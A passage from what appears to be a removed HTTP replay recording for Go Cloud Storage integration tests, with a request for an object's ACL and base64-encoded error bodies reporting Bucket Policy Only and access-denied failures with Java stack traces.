G9yLmxpc3QoQWNjZXNzQ29udHJvbHNEZWxlZ2F0b3IuamF2YTo4OSlcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5pc29sYXRpb24uUnBjUmVjZWl2ZXIubGFtYmRhJHByb2Nlc3NSZXF1ZXN0QXN5bmMkNChScGNSZWNlaXZlci5qYXZhOjIwMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5pc29sYXRpb24uQXN5bmNFeGVjdXRvci5sYW1iZGEkc3VibWl0JDAoQXN5bmNFeGVjdXRvci5qYXZhOjI1Mylcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUucnVuSW5Db250ZXh0KENvbnRleHRSdW5uYWJsZS5qYXZhOjUwKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZSQxLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozOSlcblx0YXQgaW8uZ3JwYy5Db250ZXh0LnJ1bihDb250ZXh0LmphdmE6NTY1KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuQ3VycmVudENvbnRleHQucnVuSW5Db250ZXh0KEN1cnJlbnRDb250ZXh0LmphdmE6MjA0KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHROb1VucmVmKEdlbmVyaWNDb250ZXh0Q2FsbGJhY2suamF2YTo3Milcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0KEdlbmVyaWNDb250ZXh0Q2FsbGJhY2suamF2YTo2NClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM1KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IucnVuV29ya2VyKFRocmVhZFBvb2xFeGVjdXRvci5qYXZhOjExNDkpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvciRXb3JrZXIucnVuKFRocmVhZFBvb2xFeGVjdXRvci5qYXZhOjYyNClcblx0YXQgamF2YS5sYW5nLlRocmVhZC5ydW4oVGhyZWFkLmphdmE6NzQ4KVxuQ2F1c2VkIGJ5OiBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbjogQ2Fubm90IGdldCBsZWdhY3kgQUNMcyBmb3IgYSBidWNrZXQgdGhhdCBoYXMgZW5hYmxlZCBCdWNrZXQgUG9saWN5IE9ubHkuIFJlYWQgbW9yZSBhdCBodHRwczovL2Nsb3VkLmdvb2dsZS5jb20vc3RvcmFnZS9kb2NzL2J1Y2tldC1wb2xpY3ktb25seS5cblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzEyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIwKVxuXHQuLi4gMTcgbW9yZVxuLCBlcnJvclByb3RvQ29kZT1JTlZBTElEX1ZBTFVFLCBlcnJvclByb3RvRG9tYWluPWdkYXRhLkNvcmVFcnJvckRvbWFpbiwgZmlsdGVyZWRNZXNzYWdlPW51bGwsIGxvY2F0aW9uPW51bGwsIG1lc3NhZ2U9Q2Fubm90IGdldCBsZWdhY3kgQUNMcyBmb3IgYSBidWNrZXQgdGhhdCBoYXMgZW5hYmxlZCBCdWNrZXQgUG9saWN5IE9ubHkuIFJlYWQgbW9yZSBhdCBodHRwczovL2Nsb3VkLmdvb2dsZS5jb20vc3RvcmFnZS9kb2NzL2J1Y2tldC1wb2xpY3ktb25seS4sIHVubmFtZWRBcmd1bWVudHM9W119LCBsb2NhdGlvbj1udWxsLCBtZXNzYWdlPUNhbm5vdCBnZXQgbGVnYWN5IEFDTHMgZm9yIGEgYnVja2V0IHRoYXQgaGFzIGVuYWJsZWQgQnVja2V0IFBvbGljeSBPbmx5LiBSZWFkIG1vcmUgYXQgaHR0cHM6Ly9jbG91ZC5nb29nbGUuY29tL3N0b3JhZ2UvZG9jcy9idWNrZXQtcG9saWN5LW9ubHkuLCByZWFzb249aW52YWxpZCwgcnBjQ29kZT00MDB9IENhbm5vdCBnZXQgbGVnYWN5IEFDTHMgZm9yIGEgYnVja2V0IHRoYXQgaGFzIGVuYWJsZWQgQnVja2V0IFBvbGljeSBPbmx5LiBSZWFkIG1vcmUgYXQgaHR0cHM6Ly9jbG91ZC5nb29nbGUuY29tL3N0b3JhZ2UvZG9jcy9idWNrZXQtcG9saWN5LW9ubHkuOiBjb20uZ29vZ2xlLm5ldC5ycGMzLlJwY0V4Y2VwdGlvbjogY2xvdWQuYmlnc3RvcmUuUmVzcG9uc2VDb2RlLkVycm9yQ29kZTo6SU5WQUxJRF9SRVFVRVNUX0ZPUl9CVUNLRVRfUE9MSUNZX09OTFlfUkVTT1VSQ0U6IENhbm5vdCBnZXQgbGVnYWN5IEFDTHMgZm9yIGEgYnVja2V0IHRoYXQgaGFzIGVuYWJsZWQgQnVja2V0IFBvbGljeSBPbmx5LiBSZWFkIG1vcmUgYXQgaHR0cHM6Ly9jbG91ZC5nb29nbGUuY29tL3N0b3JhZ2UvZG9jcy9idWNrZXQtcG9saWN5LW9ubHkuXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRvUnBjM0V4Y2VwdGlvbihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjE0Nylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5hY2xzLkxpc3RBY2xzLmhhbmRsZVJlcXVlc3RSZWNlaXZlZChMaXN0QWNscy5qYXZhOjEwMSlcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5hY2xzLkxpc3RBY2xzLmhhbmRsZVJlcXVlc3RSZWNlaXZlZChMaXN0QWNscy5qYXZhOjI1KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoUmVxdWVzdEhhbmRsZXIuamF2YTozMTApXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZShSZXF1ZXN0SGFuZGxlci5qYXZhOjI1Nilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5BY2Nlc3NDb250cm9sc0RlbGVnYXRvci5saXN0KEFjY2Vzc0NvbnRyb2xzRGVsZWdhdG9yLmphdmE6ODkpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLlJwY1JlY2VpdmVyLmxhbWJkYSRwcm9jZXNzUmVxdWVzdEFzeW5jJDQoUnBjUmVjZWl2ZXIuamF2YToyMDIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLkFzeW5jRXhlY3V0b3IubGFtYmRhJHN1Ym1pdCQwKEFzeW5jRXhlY3V0b3IuamF2YToyNTMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bkluQ29udGV4dChDb250ZXh0UnVubmFibGUuamF2YTo1MClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUkMS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzkpXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0Tm9VbnJlZihHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NzIpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dChHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NjQpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozNSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yLnJ1bldvcmtlcihUaHJlYWRQb29sRXhlY3V0b3IuamF2YToxMTQ5KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IkV29ya2VyLnJ1bihUaHJlYWRQb29sRXhlY3V0b3IuamF2YTo2MjQpXG5cdGF0IGphdmEubGFuZy5UaHJlYWQucnVuKFRocmVhZC5qYXZhOjc0OClcbkNhdXNlZCBieTogY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb246IENhbm5vdCBnZXQgbGVnYWN5IEFDTHMgZm9yIGEgYnVja2V0IHRoYXQgaGFzIGVuYWJsZWQgQnVja2V0IFBvbGljeSBPbmx5LiBSZWFkIG1vcmUgYXQgaHR0cHM6Ly9jbG91ZC5nb29nbGUuY29tL3N0b3JhZ2UvZG9jcy9idWNrZXQtcG9saWN5LW9ubHkuXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93T25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMxMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMClcblx0Li4uIDE3IG1vcmVcblxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIuY29yZS5FcnJvckNvbGxlY3Rvci50b0ZhdWx0KEVycm9yQ29sbGVjdG9yLmphdmE6NTQpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5yZXN0LmFkYXB0ZXIucm9zeS5Sb3N5RXJyb3JDb252ZXJ0ZXIudG9GYXVsdChSb3N5RXJyb3JDb252ZXJ0ZXIuamF2YTo2Nylcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLnJlc3QuYWRhcHRlci5yb3N5LlJvc3lIYW5kbGVyJDIuY2FsbChSb3N5SGFuZGxlci5qYXZhOjI1OSlcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLnJlc3QuYWRhcHRlci5yb3N5LlJvc3lIYW5kbGVyJDIuY2FsbChSb3N5SGFuZGxlci5qYXZhOjIzOSlcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLmNvcmUudXRpbC5DYWxsYWJsZUZ1dHVyZS5ydW4oQ2FsbGFibGVGdXR1cmUuamF2YTo2Milcblx0YXQgY29tLmdvb2dsZS5jb21tb24udXRpbC5jb25jdXJyZW50LkRpcmVjdEV4ZWN1dG9yLmV4ZWN1dGUoRGlyZWN0RXhlY3V0b3IuamF2YTozMClcblx0YXQgY29tLmdvb2dsZS5jb21tb24udXRpbC5jb25jdXJyZW50LkFic3RyYWN0RnV0dXJlLmV4ZWN1dGVMaXN0ZW5lcihBYnN0cmFjdEZ1dHVyZS5qYXZhOjExNDMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5jb21wbGV0ZShBYnN0cmFjdEZ1dHVyZS5qYXZhOjk2Mylcblx0YXQgY29tLmdvb2dsZS5jb21tb24udXRpbC5jb25jdXJyZW50LkFic3RyYWN0RnV0dXJlLnNldChBYnN0cmFjdEZ1dHVyZS5qYXZhOjczMSlcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLmNvcmUudXRpbC5DYWxsYWJsZUZ1dHVyZS5ydW4oQ2FsbGFibGVGdXR1cmUuamF2YTo2Milcblx0YXQgY29tLmdvb2dsZS5jb21tb24udXRpbC5jb25jdXJyZW50LkRpcmVjdEV4ZWN1dG9yLmV4ZWN1dGUoRGlyZWN0RXhlY3V0b3IuamF2YTozMClcblx0YXQgY29tLmdvb2dsZS5jb21tb24udXRpbC5jb25jdXJyZW50LkFic3RyYWN0RnV0dXJlLmV4ZWN1dGVMaXN0ZW5lcihBYnN0cmFjdEZ1dHVyZS5qYXZhOjExNDMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5jb21wbGV0ZShBYnN0cmFjdEZ1dHVyZS5qYXZhOjk2Mylcblx0YXQgY29tLmdvb2dsZS5jb21tb24udXRpbC5jb25jdXJyZW50LkFic3RyYWN0RnV0dXJlLnNldChBYnN0cmFjdEZ1dHVyZS5qYXZhOjczMSlcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLmNvcmUudXRpbC5DYWxsYWJsZUZ1dHVyZS5ydW4oQ2FsbGFibGVGdXR1cmUuamF2YTo2Milcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLnRocmVhZC5UaHJlYWRUcmFja2VycyRUaHJlYWRUcmFja2luZ1J1bm5hYmxlLnJ1bihUaHJlYWRUcmFja2Vycy5qYXZhOjEyNilcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRUcmFjZUNvbnRleHRSdW5uYWJsZS5ydW5JbkNvbnRleHQoVHJhY2VDb250ZXh0LmphdmE6NDUzKVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIuc2VydmVyLkNvbW1vbk1vZHVsZSRDb250ZXh0Q2FycnlpbmdFeGVjdXRvclNlcnZpY2UkMS5ydW5JbkNvbnRleHQoQ29tbW9uTW9kdWxlLmphdmE6ODAyKVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuVHJhY2VDb250ZXh0JFRyYWNlQ29udGV4dFJ1bm5hYmxlJDEucnVuKFRyYWNlQ29udGV4dC5qYXZhOjQ2MClcblx0YXQgaW8uZ3JwYy5Db250ZXh0LnJ1bihDb250ZXh0LmphdmE6NTY1KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuQ3VycmVudENvbnRleHQucnVuSW5Db250ZXh0KEN1cnJlbnRDb250ZXh0LmphdmE6MjA0KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuVHJhY2VDb250ZXh0JEFic3RyYWN0VHJhY2VDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0Tm9VbnJlZihUcmFjZUNvbnRleHQuamF2YTozMTkpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5UcmFjZUNvbnRleHQkQWJzdHJhY3RUcmFjZUNvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHQoVHJhY2VDb250ZXh0LmphdmE6MzExKVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuVHJhY2VDb250ZXh0JFRyYWNlQ29udGV4dFJ1bm5hYmxlLnJ1bihUcmFjZUNvbnRleHQuamF2YTo0NTcpXG5cdGF0IGNvbS5nb29nbGUuZ3NlLmludGVybmFsLkRpc3BhdGNoUXVldWVJbXBsJFdvcmtlclRocmVhZC5ydW4oRGlzcGF0Y2hRdWV1ZUltcGwuamF2YTo0MDMpXG4ifV0sImNvZGUiOjQwMCwibWVzc2FnZSI6IkNhbm5vdCBnZXQgbGVnYWN5IEFDTHMgZm9yIGEgYnVja2V0IHRoYXQgaGFzIGVuYWJsZWQgQnVja2V0IFBvbGljeSBPbmx5LiBSZWFkIG1vcmUgYXQgaHR0cHM6Ly9jbG91ZC5nb29nbGUuY29tL3N0b3JhZ2UvZG9jcy9idWNrZXQtcG9saWN5LW9ubHkuIn19" - } - }, - { - "ID": "42ce6421b2c9fae4", - "Request": { - "Method": "GET", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o/bucketPolicyOnly/acl?alt=json\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 403, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "private, max-age=0" - ], - "Content-Length": [ - "13358" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:02 GMT" - ], - "Expires": [ - "Thu, 02 May 2019 22:24:02 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "agent_rejected" - ], - "X-Guploader-Upload-Result": [ - "agent_rejected" - ], - "X-Guploader-Uploadid": [ - "AEnB2UqJwxja3nYzWYbg_I5gWvOiow2ORuo8tNA-_Vzw7DX_YVhhb6_p1giUk3WjUHWt-lyDA13adhPGi4BDfIXzQyf-ZL3lsHoa2sNm29BIqRznw4mkAdE" - ] - }, - "Body": "eyJlcnJvciI6eyJlcnJvcnMiOlt7ImRvbWFpbiI6Imdsb2JhbCIsInJlYXNvbiI6ImZvcmJpZGRlbiIsIm1lc3NhZ2UiOiJhbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSBkb2VzIG5vdCBoYXZlIHN0b3JhZ2Uub2JqZWN0cy5nZXQgYWNjZXNzIHRvIGdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9idWNrZXRQb2xpY3lPbmx5LiIsImRlYnVnSW5mbyI6ImNvbS5nb29nbGUubmV0LnJwYzMuUnBjRXhjZXB0aW9uOiBjbG91ZC5iaWdzdG9yZS5SZXNwb25zZUNvZGUuRXJyb3JDb2RlOjpBQ0NFU1NfREVOSUVEOiBhbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSBkb2VzIG5vdCBoYXZlIHN0b3JhZ2Uub2JqZWN0cy5nZXQgYWNjZXNzIHRvIGdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9idWNrZXRQb2xpY3lPbmx5LlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50b1JwYzNFeGNlcHRpb24oQmlnc3RvcmVFeGNlcHRpb24uamF2YToxNDcpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMuYWNscy5MaXN0QWNscy5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoTGlzdEFjbHMuamF2YToxMDEpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMuYWNscy5MaXN0QWNscy5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoTGlzdEFjbHMuamF2YToyNSlcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFJlcXVlc3RIYW5kbGVyLmphdmE6MzEwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGUoUmVxdWVzdEhhbmRsZXIuamF2YToyNTYpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uQWNjZXNzQ29udHJvbHNEZWxlZ2F0b3IubGlzdChBY2Nlc3NDb250cm9sc0RlbGVnYXRvci5qYXZhOjg5KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5ScGNSZWNlaXZlci5sYW1iZGEkcHJvY2Vzc1JlcXVlc3RBc3luYyQ0KFJwY1JlY2VpdmVyLmphdmE6MjAyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5Bc3luY0V4ZWN1dG9yLmxhbWJkYSRzdWJtaXQkMChBc3luY0V4ZWN1dG9yLmphdmE6MjUzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW5JbkNvbnRleHQoQ29udGV4dFJ1bm5hYmxlLmphdmE6NTApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlJDEucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM5KVxuXHRhdCBpby5ncnBjLkNvbnRleHQucnVuKENvbnRleHQuamF2YTo1NjUpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5DdXJyZW50Q29udGV4dC5ydW5JbkNvbnRleHQoQ3VycmVudENvbnRleHQuamF2YToyMDQpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjcyKVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHQoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjY0KVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzUpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvci5ydW5Xb3JrZXIoVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6MTE0OSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yJFdvcmtlci5ydW4oVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6NjI0KVxuXHRhdCBqYXZhLmxhbmcuVGhyZWFkLnJ1bihUaHJlYWQuamF2YTo3NDgpXG5DYXVzZWQgYnk6IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uOiBhbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSBkb2VzIG5vdCBoYXZlIHN0b3JhZ2Uub2JqZWN0cy5nZXQgYWNjZXNzIHRvIGdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9idWNrZXRQb2xpY3lPbmx5LlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMTIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjApXG5cdC4uLiAxNyBtb3JlXG5cbmNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLkZhdWx0OiBJbW11dGFibGVFcnJvckRlZmluaXRpb257YmFzZT1GT1JCSURERU4sIGNhdGVnb3J5PVVTRVJfRVJST1IsIGNhdXNlPW51bGwsIGRlYnVnSW5mbz1jb20uZ29vZ2xlLm5ldC5ycGMzLlJwY0V4Y2VwdGlvbjogY2xvdWQuYmlnc3RvcmUuUmVzcG9uc2VDb2RlLkVycm9yQ29kZTo6QUNDRVNTX0RFTklFRDogYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20gZG9lcyBub3QgaGF2ZSBzdG9yYWdlLm9iamVjdHMuZ2V0IGFjY2VzcyB0byBnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvYnVja2V0UG9saWN5T25seS5cblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udG9ScGMzRXhjZXB0aW9uKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MTQ3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLmFjbHMuTGlzdEFjbHMuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKExpc3RBY2xzLmphdmE6MTAxKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLmFjbHMuTGlzdEFjbHMuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKExpc3RBY2xzLmphdmE6MjUpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZVJlcXVlc3RSZWNlaXZlZChSZXF1ZXN0SGFuZGxlci5qYXZhOjMxMClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlKFJlcXVlc3RIYW5kbGVyLmphdmE6MjU2KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLkFjY2Vzc0NvbnRyb2xzRGVsZWdhdG9yLmxpc3QoQWNjZXNzQ29udHJvbHNEZWxlZ2F0b3IuamF2YTo4OSlcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5pc29sYXRpb24uUnBjUmVjZWl2ZXIubGFtYmRhJHByb2Nlc3NSZXF1ZXN0QXN5bmMkNChScGNSZWNlaXZlci5qYXZhOjIwMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5pc29sYXRpb24uQXN5bmNFeGVjdXRvci5sYW1iZGEkc3VibWl0JDAoQXN5bmNFeGVjdXRvci5qYXZhOjI1Mylcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUucnVuSW5Db250ZXh0KENvbnRleHRSdW5uYWJsZS5qYXZhOjUwKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZSQxLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozOSlcblx0YXQgaW8uZ3JwYy5Db250ZXh0LnJ1bihDb250ZXh0LmphdmE6NTY1KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuQ3VycmVudENvbnRleHQucnVuSW5Db250ZXh0KEN1cnJlbnRDb250ZXh0LmphdmE6MjA0KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0